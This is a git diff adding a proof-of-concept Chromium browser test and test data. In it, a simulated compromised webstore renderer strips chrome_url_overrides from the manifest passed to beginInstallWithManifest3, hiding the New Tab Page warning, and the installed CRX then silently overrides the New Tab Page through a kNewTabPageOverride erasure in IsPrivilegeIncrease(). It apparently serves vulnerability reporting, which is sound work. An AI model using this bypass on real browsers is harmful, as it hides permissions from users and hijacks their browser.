diff --git a/chrome/browser/extensions/api/webstore_private/webstore_private_apitest.cc b/chrome/browser/extensions/api/webstore_private/webstore_private_apitest.cc index fb3332b5ff4ea..781b769657ba1 100644 --- a/chrome/browser/extensions/api/webstore_private/webstore_private_apitest.cc +++ b/chrome/browser/extensions/api/webstore_private/webstore_private_apitest.cc @@ -48,9 +48,13 @@ #include "extensions/browser/extension_system.h" #include "extensions/browser/install_approval.h" #include "extensions/browser/pref_names.h" +#include "extensions/browser/extension_registry.h" #include "extensions/browser/webstore_installer.h" #include "extensions/buildflags/buildflags.h" #include "extensions/common/extension_builder.h" +#include "extensions/common/manifest_handlers/chrome_url_overrides_handler.h" +#include "extensions/common/mojom/api_permission_id.mojom-shared.h" +#include "extensions/common/permissions/permissions_data.h" #include "extensions/common/extension_features.h" #include "extensions/common/switches.h" #include "gpu/config/gpu_feature_type.h" @@ -296,6 +300,60 @@ IN_PROC_BROWSER_TEST_F(ExtensionWebstorePrivateApiTest, IncorrectManifest2) { ASSERT_TRUE(RunInstallTest("incorrect_manifest2.html", "extension.crx")); } +// POC: A "compromised webstore renderer" passes a manifest with +// chrome_url_overrides stripped to beginInstallWithManifest3. The user is shown +// an install prompt with NO "Replace the page you see when opening a new tab" +// warning. After approval, the browser downloads the real CRX (which DOES +// contain chrome_url_overrides.newtab). CrxInstaller's kLoose manifest check +// calls IsPrivilegeIncrease(), which erases kNewTabPageOverride from both sides +// (a stale M62 workaround) and therefore reports no privilege increase. The +// install completes and the user's New Tab Page is silently hijacked. +// +// Contrast with IncorrectManifest2 above, where stripping a normal permission +// ("tabs") is correctly caught and the install fails with "Manifest file is +// invalid". +IN_PROC_BROWSER_TEST_F(ExtensionWebstorePrivateApiTest, + NtpOverrideStrippedManifestBypassesLooseCheck) { + WebstoreInstallListener listener; + auto delegate_reset = WebstorePrivateApi::SetDelegateForTesting(&listener); + + // ntp_override_stripped.html supplies a manifest WITHOUT chrome_url_overrides + // to beginInstallWithManifest3; the "downloaded" CRX is ntp_extension.crx, + // whose manifest DOES contain chrome_url_overrides.newtab. + ASSERT_TRUE( + RunInstallTest("ntp_override_stripped.html", "ntp_extension.crx")); + listener.Wait(); + + // *** BUG ***: The install succeeds even though the downloaded CRX requests + // a warning-generating capability (NTP override) that was hidden from the + // user-visible install prompt. With the M62 erasure removed (or with + // ManifestCheckLevel::kStrict), this install would be rejected as a privilege + // increase / manifest mismatch. + ASSERT_TRUE(listener.received_success()) + << "install unexpectedly failed; bug may already be fixed"; + EXPECT_EQ(kExtensionId, listener.id()); + + const Extension* installed = + ExtensionRegistry::Get(profile())->enabled_extensions().GetByID( + kExtensionId); + ASSERT_TRUE(installed); + + // The installed extension overrides the New Tab Page even though the user was + // never shown the corresponding warning. + const URLOverrides::URLOverrideMap& overrides = + URLOverrides::GetChromeURLOverrides(installed); + EXPECT_EQ(1u, overrides.count("newtab")) + << "installed extension should override chrome://newtab"; + EXPECT_TRUE(installed->permissions_data()->HasAPIPermission( + mojom::APIPermissionID::kNewTabPageOverride)) + << "installed extension should hold kNewTabPageOverride"; + + LOG(ERROR) << "*** BUG REPRODUCED ***: extension " << kExtensionId + << " installed via webstorePrivate with chrome_url_overrides" + ".newtab hidden from the install prompt; kLoose manifest check" + " let kNewTabPageOverride through."; +} + // Tests that we can request an app installed bubble (instead of the default // UI when an app is installed). IN_PROC_BROWSER_TEST_F(ExtensionWebstorePrivateApiTest, AppInstallBubble) { diff --git a/chrome/test/data/extensions/api_test/webstore_private/ntp_extension.crx b/chrome/test/data/extensions/api_test/webstore_private/ntp_extension.crx new file mode 100644 index 0000000000000000000000000000000000000000..6cee0129deeaaf60fe7da9901cedb3b7043f7cc7 GIT binary patch literal 782 zcmZ=RGBROiU|?`$WMB|l!Nj$Q(V%g@0WTY;R+~rLcV0$DMpg#q#$E=4#!jZjMuvTl z&Sq=d^1c$apUZT!^V`pNU$#Dr?R1@;y&`+1!d2lJ3wS~<_+;FkI<7SG)p`)dfKY#Y>`czyL6fE*5=(MPl&}0!Nq07O! zUyOO)?qEQ521jF%MIq3tX+X>ibVhDsUS?Wqafx15aef{)hq(IMavw4fxcffbCU4rJ z9jWD^?e7#{c{2MlP2bG5^ndInuDtiZ&$1NodERI||5tRnXUJpc3*M%4?9_H1n^bwd zN%P5%DOq(wv7zmcv;J7V-+fqYAAi)OAJhBx{c+Q_KEtxbzcPBq)Attacker NTP

Attacker-controlled New Tab Page

diff --git a/chrome/test/data/extensions/api_test/webstore_private/ntp_override_stripped.html b/chrome/test/data/extensions/api_test/webstore_private/ntp_override_stripped.html new file mode 100644 index 0000000000000..364d17ad21826 --- /dev/null +++ b/chrome/test/data/extensions/api_test/webstore_private/ntp_override_stripped.html @@ -0,0 +1,2 @@ + + diff --git a/chrome/test/data/extensions/api_test/webstore_private/ntp_override_stripped.js b/chrome/test/data/extensions/api_test/webstore_private/ntp_override_stripped.js new file mode 100644 index 0000000000000..7a81e781dd7a4 --- /dev/null +++ b/chrome/test/data/extensions/api_test/webstore_private/ntp_override_stripped.js @@ -0,0 +1,49 @@ +// POC: A compromised webstore renderer supplies a manifest with +// chrome_url_overrides removed. The user is shown an install prompt with no +// "Replace the page you see when opening a new tab" warning. After approval the +// real CRX (which DOES contain chrome_url_overrides.newtab) is downloaded and +// passes the kLoose manifest check because IsPrivilegeIncrease() erases +// kNewTabPageOverride from both sides of the comparison. + +// Fetch the real CRX manifest (this is what the genuine webstore listing +// contains). It has chrome_url_overrides.newtab. +const realManifest = JSON.parse(getManifest('ntp_extension/manifest.json')); +assertTrue(!!realManifest['chrome_url_overrides'], + 'real CRX manifest must contain chrome_url_overrides'); + +// The "compromised renderer" strips chrome_url_overrides before passing the +// manifest to the browser. The browser will build the install prompt from this +// stripped manifest, so the user never sees the NTP-override warning. +const strippedManifest = Object.assign({}, realManifest); +delete strippedManifest['chrome_url_overrides']; +const manifest = JSON.stringify(strippedManifest); + +runTests([ + function ntpOverrideWarningSuppressed() { + listenOnce(chrome.management.onInstalled, function(info) { + assertEq(info.id, extensionId); + }); + + chrome.webstorePrivate.beginInstallWithManifest3( + {'id': extensionId, 'manifest': manifest}, + callbackPass(function(result) { + assertNoLastError(); + assertEq('', result); + + // The install prompt was shown (and auto-accepted) WITHOUT any + // NTP-override warning. Now complete the install: the browser + // downloads the real CRX whose manifest does NOT match the one we + // supplied (it has chrome_url_overrides). The kLoose check should + // reject this as a privilege increase, but the M62 + // kNewTabPageOverride erasure lets it through. + chrome.webstorePrivate.completeInstall( + extensionId, callbackPass(function() { + assertNoLastError(); + // BUG REPRODUCED: install succeeded even though the downloaded + // CRX has chrome_url_overrides.newtab that the user was never + // warned about. The C++ side of the test now verifies that the + // installed extension actually overrides the New Tab Page. + })); + })); + }, +]);